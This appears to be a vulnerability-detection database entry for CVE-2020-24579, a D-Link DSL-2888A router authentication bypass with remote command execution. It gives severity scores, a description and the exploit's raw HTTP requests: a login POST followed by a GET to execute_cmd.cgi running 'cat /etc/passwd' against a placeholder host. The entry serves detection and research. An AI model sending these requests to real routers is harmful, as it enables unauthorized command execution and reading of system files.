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CVE-2020-24579: D-Link DSL 2888a - Authentication Bypass/Remote Command Execution

TitleD-Link DSL 2888a - Authentication Bypass/Remote Command Execution
Authorpikpikcu
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an attacker to bypass authentication and execute arbitrary commands on the affected router.
RemediationApply the latest firmware update provided by D-Link to fix the vulnerability.
CVSS Score8.8
EPSS Score0.85951
CVE IDCVE-2020-24579
CWE IDCWE-287
Tags cve cve2020 dlink rce vuln

🔍 Vulnerability Description

D-Link DSL-2888A devices with firmware prior to AU_2.31_V1.1.47ae55 are vulnerable to authentication bypass issues which can lead to remote command execution. An unauthenticated attacker could bypass authentication to access authenticated pages and functionality.

🌐 HTTP Request

POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Safari/605.1.15
Connection: close
Content-Length: 88
Cookie: uid=6gPjT2ipmNz
Accept-Encoding: gzip

username=admin&password=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
GET /cgi-bin/execute_cmd.cgi?timestamp=1589333279490&cmd=cat%20/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123
Connection: close
Cookie: uid=6gPjT2ipmNz
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-24579.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-24579.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A